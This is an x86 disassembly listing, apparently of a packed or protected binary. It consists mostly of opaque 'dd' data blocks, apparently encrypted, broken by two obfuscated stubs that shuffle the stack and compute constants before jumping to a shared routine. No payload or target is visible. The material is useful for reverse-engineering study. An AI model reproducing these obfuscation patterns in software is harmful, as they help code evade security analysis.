dd 216D618Fh, 418D376Dh, 67891C36h, 3641377Dh, 49AD331Ch
dd 859A24CAh, 9F57D918h, 49A8312Dh, 871D5AD7h, 1C36413Dh
dd 8917B739h, 1C364143h, 0B43FB137h, 11E4D04Dh, 0B648841Dh
dd 4AE31DBAh, 0ED2A74Fh, 79436110h, 0A91C3641h, 10962CB5h
dd 0AC8EEEDEh, 2532DF51h, 67A4FA7h, 0F6BB3D68h, 0EC048BEEh
dd 0E67DEF02h, 0AEDF8BC5h, 559B1C1Eh, 775DAE9Eh, 0B0EDEA84h
dd 48AB3428h, 35D015B8h, 1B091C1Ch, 506C0B42h, 5D5C89h
dd 56260000h, 0E2B49365h, 0EC9363F5h, 568C2B47h, 1C36416Ch
dd 24A84668h, 0DB16839Ah, 86169D59h, 1C36413Eh, 0DCEB647h
dd 894FF9C0h, 6A7h, 46D9E300h, 47F49B5Bh, 0D044AF2Ah, 9AD445Dh
dd 975A7FF7h, 0F76FE115h, 3BAA0FE2h, 36A3BE49h, 3301C165h
dd 0AB487E72h, 0B7AB25D1h, 47C2712Ah, 38A5BB2Eh, 3AB937B9h
dd 0C32EABC6h, 691C0855h, 2CB4E9F0h, 0D84CA730h, 0B6975A47h
dd 5984452Fh, 31895000h, 0F004918Fh, 7749h, 63D8500h, 100B61BBh
dd 47C16094h, 0A248AB2Eh, 4212B8E6h, 0E0061C36h, 18859A14h
dd 3F174D9h, 565C8246h, 521C3641h, 3F36A84Ch, 0E67F019Ah
dd 948C00F3h, 980DF003h, 1915A7ACh, 7EF7180h, 50003667h
dd 555189h, 15820000h, 8E6570EBh, 5E95021Ah, 39AC14DAh
dd 22778C2Ch, 0EF86F8FCh, 0F8A6E2EAh, 1C3594D2h, 4DD420C6h
dd 995845DBh, 47322203h, 41F2AB2Eh, 44AF2A47h, 364211B4h
dd 1F05181Ch, 4FFA0F3Eh, 115889h, 4A320000h, 0D6654E1Eh
dd 0E02B2157h, 0B4AC0CB4h, 4746ED09h, 0D246AD28h, 0AC95135Eh
dd 6157FCC0h, 2774648Fh, 0C8D54A3Dh, 0BBA1F4D3h, 0F8FB3EA8h
dd 37975998h, 0EAF76993h, 0DA69740Ah, 890F1502h, 35A0BB45h
dd 33BA3ABEh, 2A44ADC1h, 0A65A43ADh, 56E60D8Ah, 1300926Eh
dd 0C4B79D7Eh, 0EA6E2FA8h, 168A6976h, 7F455B1Ah, 7B130092h
dd 0B968B75h, 2D9E0EE5h, 1FB8B447h, 87F8C87Eh, 0EBC5D61Bh
dd 0C30AB242h, 0A492851Bh, 1A7h, 0C39B2EE3h, 437CF10Bh
dd 3641179Dh, 638D131Ch, 0E2AF8B5Fh, 15E11F80h, 829B2569h
dd 9C58DC17h, 2DB1B06h, 1CD7D915h, 0A32BB4A8h, 59980119h
dd 964A1FD7h, 89100D9Ah, 0D8556767h, 0EDD70DC1h, 0E91300A8h
dd 0AB02FC7h, 945F78F0h, 0ECBCC5E2h, 8F6132D4h, 6079F567h
dd 0BEDB526Ch, 90308333h, 0A7C9983h, 239110E4h, 3B37C2B2h
dd 4DFD9Eh, 67928560h, 57h, 0C7872E28h, 4223D907h, 11971C36h
dd 416852E2h, 81981C36h, 38E209EAh, 0E8064585h, 0D89F9709h
dd 35F500CAh, 0FCF2F41Ch, 0D6BE5FF5h, 4F35CC13h, 0E0F9708Ah
dd 0DC678F11h, 2BB915D5h, 1C35F4D1h, 0F4DAC3E5h, 0AA4956CAh
dd 8F939A26h, 0DD0ACCEh, 0D901E9h, 15520000h, 552C32ADh
dd 48AC4B5Bh, 9A32EABDh, 0F2388EEEh, 8BA53693h, 17DFFA75h
dd 33FC689h, 0BD34BA15h, 492E6919h, 2D2CD051h, 0BEDB57C9h
dd 9C89AE0Eh, 0E7DB76C0h, 0AAC63A0Fh, 49EFD50Bh, 0C5EB1300h
dd 6738C82Bh, 0C913004Ah, 38AC4752h, 0C438BB24h, 44C82BACh
dd 0DD988C99h, 11361EFFh, 8E6570EFh, 0FC70EA0Ah, 9A2DBAE3h
dd 14B20AC2h, 5B1C3FA1h, 0FD5797Dh, 0BD4F23Dh, 3DA4B943h
dd 598C1E85h, 5D99AC34h, 7EF201A7h, 8AFEF5E2h, 79EB0693h
dd 83140CE5h, 14F1866Dh, 773F4520h, 4F0E985h, 0CC00C5AFh
dd 2C9FAC16h, 0EE06A81Ch, 54785063h, 0D334746Ch, 36C86E3Bh
dd 0D1539E3Bh, 0F96B7925h, 7150104h, 2B2BF0B7h, 0F7FF7672h
dd 9527A749h, 73F5FC9Dh, 2E05A683h, 3F5AD39Bh, 0D5871DB1h
dd 0A1150A75h, 0DFDC7DDh, 0F7F912FAh, 0EA86FAF9h, 26A1E1EDh
dd 0ADB84918h, 74ECC135h, 8414DFF8h, 264ABD3Dh, 0E0FECA84h
dd 0E1A905DAh, 3B89160Ah, 0F441B5h, 0BBE0F975h, 41B02945h
dd 0AF4257CFh, 3BB6233Dh, 0C45B56C9h, 58961AD9h, 32220399h
dd 17A94D37h, 5908B1Eh, 0AA5608EBh, 89C0F14Fh, 0EE43B33Dh
dd 0E2FF7306h, 0AE2B47B9h, 35B43h, 4FAC0000h, 0B0154784h
dd 4653CF41h, 0BA2739ABh, 2BAEC537h, 0BCDD54C8h, 2FAAC335h
dd 0BFD850C4h, 32AFC034h, 0C9D04DBFh, 0EC835D2Ah, 48F5404h
dd 24048124h, 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push 0EAAh
mov [esp], edx
push edx
push 2F8B7EAFh
pop edx
neg edx
shr edx, 6
sub edx, 0FA059D40h
mov ebx, edx
mov edx, [esp]
add esp, 4
push esp
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
pop dword ptr [edx+8]
push dword ptr [esp]
pop edx
add esp, 4
mov ebx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5464A4
; ---------------------------------------------------------------------------
dd 3512C25Dh, 3C3994B8h, 0FFC50309h, 463633E0h, 1CAF5D41h
dd 74576701h, 495F516Ah, 10BA365Eh, 0F8A7BC1Bh, 0AC55B84Bh
dd 1366071Bh, 0C6283Ah, 9D01B00Fh, 5B773E74h, 0A831026Dh
dd 85BF4020h, 7EA55C49h, 842AE75Ah, 0D929A756h, 0D62DE30Fh
dd 61191B69h, 151FB550h, 0D299A171h, 0C6A7DB25h, 59D3397Eh
dd 2E3D797Ch, 32D4D04Ch, 5FDC7551h, 0BC176F4Ch, 0BB123475h
dd 1C124725h, 56E34D5Fh, 698D8D7Fh, 0E32312h, 10E810h
dd 0CD810000h, 6B8D8548h, 9F52448Eh, 0C1C25299h, 8B66AD5Eh
dd 890F5BFAh, 0Dh, 8E9h, 346E2C00h, 9976BCF4h, 0A5C381EBh
dd 66000069h, 0FF2CA81h, 1A19B9h, 7E900h, 34290000h, 1CB1A629h
dd 53338BDEh, 13E9h, 16D3AD00h, 0DCF2103h, 6B57B86Ch, 81DEEF68h
dd 4BE5033Ah, 27C6815Fh, 0E8522DAEh, 11h, 7988A98Fh, 9B899C31h
dd 0A6625279h, 68728E4h, 118D0FB5h, 0E9000000h, 0Ch, 0D629C4F1h
dd 2C0D0F47h, 9BD0FF50h, 25F6815Ah, 8B4BE46Bh, 6DC681FAh
dd 8B3598E5h, 38F56FAh, 3820F57h, 0F000000h, 815AD2B7h
dd 0ED158CEBh, 13E828h, 0CFF00000h, 0A6840162h, 406420A6h
dd 4F3806Eh, 28FB8F8Eh, 13E8E4h, 0F0E30000h, 3C34164Ah
dd 0A8228547h, 0C80DF317h, 8D200594h, 585FF5D8h, 1588C381h
dd 14E928EDh, 0FA000000h, 0A0C51A07h, 0A729079Fh, 0E485F945h
dd 5B3B601h, 812D3E95h, 1E9h, 16850F00h, 66000000h, 0E9ED98B8h
dd 27h, 614849D2h, 26A7348Fh, 55DBFD61h, 5810F0Ch, 0BF000000h
dd 6A3EF101h, 0FFFF08E9h, 0E90CB9FFh, 75A810F0h, 8DA5EA37h
dd 3C3C768Dh, 5810F09h, 66000000h, 5565F681h, 16298D89h
dd 6A0935h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 7BA643C3h, 4888C2C3h, 0F081FD76h, 62C008Ch
dd 287D85C7h, 70640935h, 0C7F80000h, 35225585h, 9, 0D38B5000h
dd 11B5FF5Bh, 6A09352Bh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 0FFB9C353h, 595FFC3h
dd 8109350Dh, 46772EC6h, 0FF006A44h, 35082995h, 0EBC08B09h
dd 0D4193B5Eh, 51CB2B9Fh, 470ECA52h, 7CAA1DB7h, 0CFB24AC4h
dd 9663C294h, 8E795FE1h, 91EBF02Ah, 0D0D8B31Bh, 0ABE8EEDAh
dd 3577C700h, 6673B013h, 826B61CCh, 0A64F239h, 0DDD72CBAh
dd 3D7E7D34h, 0AC35D657h, 2DC7862Bh, 3C307880h, 358CD323h
dd 0DD598B1Ah, 5358A516h, 0DFC278C2h, 0EBC8E56Eh, 0D027FE04h
dd 0CC9E91Bh, 0DA680000h, 0E9093C3Eh, 0FFF941E8h, 3C3FD768h
dd 41DEE909h, 0B968FFF9h, 0E9093C41h, 0FFF941D4h, 3C42DE68h
dd 41CAE909h, 0B68FFF9h, 0E9093C46h, 0FFF941C0h, 3C475B68h
dd 41B6E909h, 4968FFF9h, 0E9093C48h, 0FFF941ACh, 19A3F1Dh
dd 0A6F7E27Fh, 0FBA03D32h, 0AFECED85h, 0F4A93029h, 0A1B85227h
dd 869D6338h, 58D68A13h, 829E623Bh, 0ECA08815h, 0FA050CB6h
dd 0F8DB0812h, 0A0BE2B47h, 0B23CC033h, 4851CD3Fh, 60FB05A9h
dd 0FAFA7E75h, 0DDF1EE80h, 0A64E4BE3h, 20B9B527h, 0D5C05FD1h
dd 48AB362Bh, 866153B0h, 0D2A58FFCh, 0A45C415Eh, 0C98F0C8Dh
dd 0B2C55C55h, 3641C6ECh, 0D21CC21Ch, 5D31D51Ch, 36417D47h
dd 7F77791Ch, 1388110Dh, 25A96134h, 363D87Fh, 0E70A8C15h
dd 11B7759h, 0C7AD3813h, 7C65F802h, 2375D878h, 4DF29285h
dd 0A1000000h, 41CBAD15h, 0A69A31FEh, 18F0C34Eh, 0ED1FEEB4h
dd 0E3D51502h, 0F4A64D48h, 7EFE68D7h, 0DB15DB37h, 69468818h
dd 9E071300h, 0D23895B6h, 56329285h, 758248h, 84707613h
dd 124D5h, 0BD1B100h, 0EF2B465Dh, 0EEEB827Ch, 0CE758103h
dd 43AE2B47h, 8D4158D1h, 12E1FC73h, 75E7668Eh, 6079F0F9h
dd 4FA2E191h, 0AEF949CDh, 36A3BE40h, 3CB739BBh, 571D54C8h
dd 7EF8927Eh, 66F6A749h, 1C35E311h, 455643DFh, 1F129F93h
dd 5E606C82h, 9B1DD4C1h, 8C2ED45Bh, 1BC90592h, 1C35DAB1h
dd 60F303A5h, 93517D55h, 150300ECh, 2DDBEE0h, 0B1EFDFB7h
dd 0BCCA927h, 5049E5DBh, 0FDD11FA1h, 6E7C17C5h, 342F8A30h
dd 68587E1Ch, 34D2F7ABh, 57745F4Ah, 3FEB0BE5h, 9E10338Bh
dd 205FD543h, 0FDC54558h, 5DD2F755h, 0D446AE40h, 8F420E5Dh
dd 198A9489h, 4C72F5A9h, 5896261Dh, 35A4BD43h, 0A57DB2B1h
dd 9E882BE9h, 0A33h, 0B1EACF6Dh, 0F6A7322Fh, 0ABF0ED82h
dd 0FF9C3D35h, 0A4F9E079h, 3128E297h, 0F66DF3A8h, 2846BAE3h
dd 0F26EF2ABh, 0BC10B8E5h, 0FA039C26h, 0C80B9812h, 23AB2E47h
dd 5111125Bh, 0C43060CFh, 558B3FE7h, 1C358E6Fh, 0BBDE556Bh
dd 0BA3AB438h, 53912C40h, 1C358E69h, 0E8B53B5Dh, 70EB1543h
dd 12E1F875h, 194608Eh, 9AEEDEB6h, 638E0B20h, 926178F1h
dd 7E14E00Eh, 1503718Fh, 0E581565h, 0B490277Fh, 2AC9D64Ah
dd 7A8448A6h, 7FFEF6E3h, 0BFCFF1h, 2F159013h, 857BDF2Eh
dd 0A88892h, 47470000h, 0D143AE2Bh, 22B24158h, 1C36464Dh
dd 89128FA3h, 0B33E5BD7h, 9C59D28h, 364B4DBh, 15862815h
dd 27A77F4Ah, 0CCC47079h, 4A82240Bh, 3A543E7Eh, 1884C597h
dd 78487FC3h, 4CA8ED23h, 5D3E5BD2h, 0B9DC5769h, 0F40AB63Ah
dd 7C574F93h, 879E10E4h, 0B3CFD212h, 630EE9A5h, 9367Bh
dd 0E5C27000h, 0B42D40B8h, 0E3FE71E7h, 0A92E46BAh, 0E4F56CF4h
dd 0FB8FFCB7h, 0B2267762h, 0F97F1CB9h, 5F217A67h, 0E3C5D6C3h
dd 2CFF5ABh, 1ACB12FAh, 0AB2E47B9h, 1C859923h, 0C6A353D5h
dd 0BBBCA0E0h, 0A50D1CF3h, 5643DF51h, 2B476645h, 5DD143AEh
dd 1B6F5744h, 36413F85h, 41B53B1Ch, 36420DB3h, 7FF10B1Ch
dd 0E90D8F62h, 0BDDEFB77h, 12BA273Bh, 0E6CC12B6h, 0E21C3641h
dd 419C26BCh, 5BD41C36h, 9C62843Eh, 5BDD1485h, 8CA0149Bh
dd 2370E013h, 0AD2A4631h, 0FA133AF0h, 9A54894Fh, 33000000h
dd 0BC39B2Eh, 36D92D5h, 0FB708615h, 5F9113DEh, 12C20494h
dd 22831301h, 2CB41932h, 76B39285h, 14000000h, 3641A42Bh
dd 30E8BB1Ch, 5007069Ch, 0FBED1503h, 0F5777A67h, 47DEA2FBh
dd 81149F52h, 935D44D9h, 365EA53Bh, 265A0BCEh, 0C67F743Ch
dd 319D5310h, 0ED04918Fh, 2AAE8B6Bh, 0BF4CA734h, 0DCB01CF4h
dd 7E4E4BE2h, 35B35A60h, 0AC484E1Ch, 2E1E316h, 0AEA3DB15h
dd 48490596h, 1C11F170h, 2BC57C50h, 0B44059D5h, 0BC3D8FEh
dd 0FF727FF1h, 0E80CE2h, 52Dh, 0D39B2E51h, 9FC2115Ah, 90D3270Dh
dd 0E5E3935Eh, 0BC7105Ch, 9834BA34h, 273DB0Ah, 0CFFFA115h
dd 50A4352Dh, 6B7D43D1h, 0E73E1300h, 0D3B1DCFDh, 0F6B69285h
dd 15000004h, 0A1F41549h, 757C65F9h, 0FFC5DBF3h, 0FB1C3641h
dd 0DD3FBF5h, 1503551Eh, 0DF8AA41Ah, 0B571A83Ah, 0AE40AAFh
dd 0FF3B2C12h, 0C9DCACBDh, 0B111BD11h, 0B88B8344h, 0ACC739E2h
dd 0E437CD29h, 10741327h, 0CDD8638Eh, 0F52BB915h, 96B48FEh
dd 0E7A3E7E7h, 0B43F5AD5h, 108B230h, 21387B39h, 10E40AB8h
dd 8815829Eh, 0A3435CD0h, 8AA01394h, 54C0AA49h, 8E000007h
dd 0E29607ACh, 9749524Fh, 0D8A0FD98h, 92465740h, 969DFE9Bh
dd 8D0C25E5h, 0C6D34810h, 900D23D5h, 0C0D9550Bh, 0B99F5DBh
dd 12FA00C1h, 47A328B5h, 0B843AE2Bh, 279935EDh, 0C3678F0Ah
dd 9EC6B707h, 0E46A6315h, 0B3D78210h, 0F3971502h, 0AC07ADh
dd 71ED0313h, 0E9078968h
dd 7D51570Dh, 0ABF0ED83h, 7960F903h, 806D037Dh, 5E04EFE8h
dd 0AB7A40h, 86686E13h, 0C65A6468h, 5E961AD9h, 0ACC13BDFh
dd 8933C135h, 871300ABh, 11E0F975h, 0F7D9678Fh, 0E1300BBh
dd 9FEBE3BBh, 562A17DFh, 84708717h, 0CE4923EEh, 34BFE10Bh
dd 360622A4h, 9282E31Ch, 503454B9h, 7661689h, 90BC324Eh
dd 1C0AB145h, 0C9000000h, 0BC39B2Eh, 835850B3h, 0A64E53D5h
dd 3539DC02h, 29AF1503h, 30E0CAh, 2E310000h, 4A93959Bh
dd 0E31698C6h, 0B65CB519h, 1FD11FFFh, 8FB6F1AFh, 18741502h
dd 6C408Ah, 42B23413h, 43E70A8Ch, 6C735987h, 41671300h
dd 2B470EB5h, 51C91E80h, 11DF195Eh, 0A3C678D5h, 947E25E9h
dd 62Fh, 0ADEECB69h, 0F2AB362Bh, 0B7E4F16Eh, 0EBB02941h
dd 0C0DDFC75h, 6D0486F3h, 0B2A92F6Ch, 6C027627h, 0B6AA2E6Fh
dd 10BC7429h, 0F9FFE8D2h, 0CAFDC12h, 0BC39B2Eh, 36E7ED5h
dd 0E47A8415h, 891009F7h, 0C231B76Dh, 0D8C5D24Eh, 484C4104h
dd 93535A32h, 35ACC13Bh, 7A42ECC1h, 93DE5183h, 65F00479h
dd 8C527A52h, 0E6849A11h, 9E12E107h, 0BA851683h, 99737EFh
dd 0EDB77922h, 4216A0E0h, 0F3FE9B97h, 85BA5171h, 0DBFDB343h
dd 0B4468818h, 4707EDB7h, 0D51CBDB5h, 664EA353h, 0CE8B2865h
dd 0A7B842B7h, 0C135B73Ah, 1391Ah, 9B2E7900h, 7ED50BC3h
dd 7A15036Eh, 170B7D74h, 0D34F118Ah, 9A9D2BC6h, 0D732484Bh
dd 77EB9E86h, 0B3AF316Ah, 2BD4DE04h, 0C4DAEDB8h, 0EDB82BFEh
dd 0C8CEF4FAh, 0FA3DCB26h, 0AE0CFF61h, 5C7DF406h, 8EE31395h
dd 425FD3A6h, 0E8BA759h, 925058E3h, 153EA43Ah, 0B43A1301h
dd 3B7F3FE7h, 0A8777262h, 0E992CC8h, 69687656h, 4F0BCDF8h
dd 0BC04AA49h, 0B74A631Bh, 42BC3897h, 42ECB12Eh, 0B53CA5B8h
dd 0D549C333h, 259725CCh, 0D11C3586h, 9B39084h, 0F26C8811h
dd 156D617Eh, 0A6084BD1h, 1AEF07D4h, 4918A34h, 98214DBCh
dd 49AD6C20h, 6188AFBBh, 38117168h, 3C5DD534h, 538F33B5h
dd 72588670h, 66A7E14Fh, 801EAE40h, 0A7E14F3Ah, 0B94CA82Eh
dd 0F76932F2h, 5935E7Bh, 261CF24Fh, 2AC9CC67h, 0D51CB9B6h
dd 6B0EF667h, 0A65143A2h, 0C8900D8Ah, 1BA84B54h, 2FCD088h
dd 0FD7F726Fh, 557955F9h, 0ED616B79h, 53552A22h, 22ED2B91h
dd 517B292Ah, 452A22EDh, 777F21A3h, 0EFF352E9h, 8C406622h
dd 26BCFB72h, 210FF09Ch, 19D81698h, 608A5F97h, 50h, 811E12ACh
dd 9B2ECE75h, 21BF0BC3h, 1C36419Bh, 41ED098Fh, 3437CA3h
dd 836E7015h, 3D631C11h, 13013B77h, 0CE25B0AFh, 4A76784Ah
dd 8E76F94Bh, 0D9F5FBD0h, 33200CA9h, 1F5B28Ch, 0FD13762Ch
dd 9F97456Bh, 0CAD8F4FAh, 1300E008h, 0D6FDEAECh, 0A2BE2B47h
dd 0B43ABE35h, 0A54D58E7h, 0ECE00E8Bh, 0D34D5AD2h, 20CC28C6h
dd 372E782h, 0F3DBFD15h, 824A57C9h, 1020D13Ah, 589CAF1Fh
dd 9CF3CB83h, 19FF7C4h, 0D856C82Ch, 18AB38BBh, 0A2408C40h
dd 1300E318h, 0BE6A8A0Ch, 0CE0E3920h, 4AA92F0Bh, 35E214BAh
dd 0C0982B1Ch, 14BD60Ch, 0EBD31503h, 1C213EE2h, 0BF758194h
dd 844ADA19h, 451300C2h, 0DAFF7789h, 372D9517h, 2B6E92E2h
dd 0E6CE23D3h, 852DA8E5h, 32FAC292h, 2DAC717Ch, 5236E511h
dd 95000000h, 0BC39B2Eh, 34452D5h, 0FAF0D015h, 79436132h
dd 6D130056h, 3537576Bh, 0DE1089A4h, 0D9566816h, 539135BCh
dd 13006869h, 19B53B5Dh, 68418Bh, 3DB33513h, 0ACC33D91h
dd 0A43EC231h, 1300681Eh, 0E160941Ah, 15F9h, 0B4AB5500h
dd 0AE46CA29h, 0C39B2E0Fh, 73DAD50Bh, 983E1503h, 2B47BA59h
dd 0D1C536AEh, 59D8E9A2h, 30271h, 0B91E3C00h, 98011CE4h
dd 0F7E27D03h, 9D3A32A6h, 0F8E17800h, 27E398A3h, 4E128B0Eh
dd 25DBC0D5h, 4B0D8E0Bh, 0DFD1CAD7h, 0FBCBF1AFh, 0EBF12F9h
dd 0AE2B47ADh, 545DD143h, 9D31BFD8h, 668E0B23h, 2BE3B691h
dd 645AFDA3h, 0A6181503h, 0B24DF8Ah, 496BE047h, 2CC84CA7h
dd 0F3817076h, 13011FCDh, 8900C08Eh, 5382E472h, 0D6BE13E3h
dd 85B998F5h, 4CCF92h, 15000000h, 8F6772EBh, 5ABB104h
dd 37EC4061h, 7B4F7F71h, 0EA2B914Fh, 791F1C35h, 1B38E77Dh
dd 1ABC1503h, 0DA8749D7h, 0B9B71300h, 50A3342Ch, 5DCF22CCh
dd 4A4FE7C2h, 28CB25A7h, 0E3866E93h, 8C4D37AEh, 92856141h
dd 0EF26h, 2B476500h, 58D143AEh, 223EB241h, 0F4983EB5h
dd 364204AEh, 0FEA6FE1Ch, 9D804805h, 0FB758127h, 43217A67h
dd 1C35B72Eh, 2C716E02h, 0AF1FB8B4h, 0B6FFC5DBh, 0D3FB1C35h
dd 35B6A70Dh, 0F3FDA31Ch, 0A4EF7C03h, 41DEE0ECh, 0DB1B9D54h
dd 0E2F6712Fh, 4AA1502h, 25FDC897h, 4F46FBA9h, 88380BCCh
dd 0CAA5C95Ah, 25DB1B14h, 0B9B14B83h, 772DD120h, 1C34364Dh
dd 0B749A749h, 54D81BBEh, 6B02FCA0h, 0B2AB2D6Eh, 0DC52BF27h
dd 0A84BE9A4h, 1B2BEh, 694EEC00h, 28B1AC34h, 6772ED73h
dd 2DAAC236h, 6871E870h, 77136833h, 3EC2DBFEh, 75EBB025h
dd 3BBDDEFBh, 0EFE1BA27h, 0FABB019Fh, 1EAF12F9h, 0AB2E479Dh
dd 0A4255B23h, 0BBEF3280h, 35B73AA7h, 9A5E3BBBh, 26F2EB86h
dd 2FE0CE51h, 96F2DCC1h, 3542C208h, 5902B61Ch, 0BEB498A0h
dd 801FD719h, 0BC39B2Eh, 3724AD5h, 0C928AE15h, 111953Bh
dd 86785613h, 8709E8EDh, 1932226Fh, 928529B4h, 0ABB3h
dd 2B471400h, 0DCF9728Ch, 3641BC06h, 0B836B81Ch, 2BAEC739h
dd 464738C8h, 75E91C36h, 0B5A92F6Ch, 6F3AC52Ch, 0EE8917B7h
dd 92150369h, 0E5B08F0Ch, 0FD03A12Dh, 0F10BCCCAh, 59FDFEFh
dd 713A2890h, 0BF31ACC3h, 0F0699337h, 46DBE5E9h, 0EA14985Bh
dd 0B98E6673h, 0A5BB2E47h, 0C937B938h, 40A44A57h, 0E9A50407h
dd 0C4634BD6h, 0FE000000h, 0B226775Ch, 77922BFh, 0A8306D68h
dd 27627B0h, 662D6E6Bh, 0DDFC7515h, 0B62338C0h, 0E0FD73E5h
dd 0B02945BBh, 5B8945EBh, 12F9F971h, 47933865h, 6EF2AB2Eh
dd 5B7EF5F2h, 77EA1498h, 3417846Ah, 43AE2B47h, 0D8545DD1h
dd 3EB034BFh, 31D52E8Eh, 0DF666634h, 12A54217h, 1F4C923Ah
dd 95150991h, 2841BB13h, 959042B1h, 0D46BB828h, 67E60EE0h
dd 3B6079F5h, 23A93793h, 1712F9B3h, 0DE158CA1h, 0EE60945Ah
dd 0E88E6572h, 7E8C1F98h, 0FBFBF29Eh, 9DC33765h, 0AB990C05h
dd 4A534CE0h, 0F6FD9A96h, 6EDEA82h, 2CDFC516h, 82F6A730h
dd 716801EEh, 0C2FE82h, 6EF43330h, 6650A34Dh, 3, 47844FA7h
dd 0CF41B015h, 39AB4653h, 0C537BA27h, 54C82BAEh, 0C335BCDDh
dd 50C42FAAh, 0C034BFD8h, 4DBF32AFh, 5D2AC9D0h, 169968h
dd 24348900h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push 5D28h
mov [esp], ebp
push eax
mov eax, 618A3676h
push ebx
mov ebx, 68B60B5Ch
mov esi, ebx
pop ebx
xor esi, eax
pop eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
sub esp, 4
mov [esp], esi
pop dword ptr [ebp+8]
push dword ptr [esp]
pop ebp
add esp, 4
mov esi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5464A4
; ---------------------------------------------------------------------------
dw 449Fh
dd 34EA91Dh, 4CB9E559h, 0B8B2A790h, 93C4932h, 0E0FFC503h
dd 2427FFBEh, 3657FA49h, 6FBE384Ch, 27F1D80h, 3259821h
dd 366A12EEh, 6EDE0645h, 6423A24Ah, 64767EA9h, 5420A93Dh
dd 5E6038E8h, 3BFCE110h, 61BE1970h, 54E426AFh, 325E7791h
dd 0E1C9BD7h, 4BD5F6A8h, 72D5C3F2h, 98AB27Dh, 36004EBh
dd 82E9358Fh, 3A000005h, 1EE2BB18h, 53059603h, 24DCC1DCh
dd 4E128B0Ch, 0E2D9C2D7h, 5148E1A9h, 0FA9F944Ch, 5441DFA1h
dd 49D9147h, 0C7DDB197h, 12F9F7FDh, 0D8E2ECF9h, 199B5643h
dd 2B4736DDh, 0DF9F43AEh, 958A3A21h, 5B67E908h, 0F4009893h
dd 0D6F6E37Ah, 0BB3780A6h, 841000D5h, 25EDCB10h, 0D956A846h
dd 9D6338BCh, 67D91881h, 0B123CECBh, 67CE25BCh, 0FB5EB9Fh
dd 0B1C354Ah, 0D0C411E5h, 4950C9F3h, 0B9836679h, 0CD2944A4h
dd 0AC2DF53h, 229A20BEh, 88E1C36h, 0A5170FECh, 64E80B8Eh
dd 93001E90h, 829A240Ah, 9A5ADE15h, 89A10E20h, 915FE110h
dd 6075EE62h, 4232A391h, 7F1CB9B7h, 757C65F9h, 3622E0E7h
dd 2C18E51Ch, 0F5515727h, 98DCA8Ch, 363BF1DBh, 2DC3E51Ch
dd 0FFE429C9h, 7983894Fh, 3F000000h, 0BE35A4BDh, 4713BA3Ah
dd 18B802Bh, 5AA205E2h, 0E7CF5D94h, 0F01C3551h, 0F180F6C6h
dd 0ED5F64DBh, 0FAF89FD5h, 0BF37CDDAh, 84C98272h, 0E38950BAh
dd 1, 812A47A4h, 65DA5497h, 0ED04EA53h, 0F8FBE67Bh, 8EBEC84h
dd 0A55044A1h, 0A28C1188h, 3612B8E6h, 0F0061C36h, 698D637Ch
dd 0F76E7BF7h, 93041CE2h, 8912DC60h, 9A071BA5h, 0EBF9D557h
dd 1C3635E1h, 7C23D3D5h, 48AB2E47h, 0B14059D4h, 0E5E2D243h
dd 1C52CD9Dh, 886C39E7h, 217A1F16h, 1BD6C35Fh, 0FDEC8577h
dd 55797762h, 355C258Fh, 777F211Ch, 846F6A05h, 775044A1h
dd 8950E526h, 0A061h, 43612D00h, 1C356679h, 319B496Dh
dd 251C3566h, 38556D83h, 5AFB5F92h, 47ED9460h, 35A0BB2Eh
dd 4C923ABEh, 1C364166h, 3FB23C62h, 0AC4752CDh, 974D8145h
dd 1C36412Dh, 0F2D0C965h, 7F1C12ECh, 1D3A2A77h, 0DF128FA3h
dd 0E27995Dh, 0D74E128Bh, 3F8B2FC2h, 36411BA1h, 6D890F1Ch
dd 935E7BF3h, 62910821h, 8D6471EEh, 23C6AE1Fh, 4C0DF76Eh
dd 89500011h, 4D76h, 2E475500h, 0A85B23ABh, 0B0C0FBE0h
dd 0B85EE511h, 885B3508h, 9363ED0Ah, 579A0719h, 857064C1h
dd 7366FDECh, 0A9F2FC80h, 812A470Ah, 86350BFAh, 2F1FFA7h
dd 35464B72h, 0D1C3521Ch, 50F495F8h, 8D289h, 2FC0000h
dd 3856C69h, 0AD154CF3h, 73BBB38Ch, 9A14E008h, 0B75EA85h
dd 6CBF07CCh, 61FD6F82h, 0AE824856h, 0BEB21C35h, 744ED221h
dd 3757C72h, 11836E6Bh, 0FE728118h, 0FF817065h, 0C2A58F0Eh
dd 966153C0h, 0C09FFC99h, 0A4352DF5h, 0A925CB4Dh, 2D0ECFBh
dd 0E30E9015h, 0B2B6FD71h, 93E1E9B3h, 1AD4C15Eh, 0A14F48E4h
dd 0EFE884FCh, 7507404h, 0E8801301h, 9D9004EFh, 757C1D14h
dd 8FF6FDF3h, 9943260Eh, 71ED988Ch, 0F4FAE778h, 0A43D31A7h
dd 6A47DB4Dh, 670BE6F3h, 1079339h, 8F618713h, 5A229261h
dd 4CE3CC60h, 0A579F51h, 0C4F36F1Ah, 7F0DA08h, 0C2E41301h
dd 1079A20h, 0C00A9813h, 0B4130107h, 0E00E9032h, 33B617BBh
dd 1CB19285h, 0E2000001h, 0BC39B2Eh, 35F4ED5h, 0CD24CA15h
dd 0F2DAC75Bh, 24C20896h, 7AF21301h, 0B012965Dh, 3FB2273Eh
dd 0E6C333BDh, 12E1FE72h, 0DE15829Eh, 44371D6Eh, 3CEEAF28h
dd 92851711h, 4056h, 872E3500h, 23D907C7h, 971C3642h, 2843BD11h
dd 3CC246ADh, 0C03FB720h, 36418A30h, 988C991Ch, 5BDFDDD4h
dd 3C099203h, 8E547876h, 1C359F54h, 4C762C50h, 481C359Fh
dd 175348A6h, 9Fh, 0BEAD1578h, 9F700930h, 5B6EF9FDh, 0B2954B83h
dd 0A6150364h, 0E37FF100h, 3F33A5F6h, 0D0C14FA2h, 60130113h
dd 7D21D0C9h, 1125D67h, 0A9575913h, 62C72AB7h, 0CD661103h
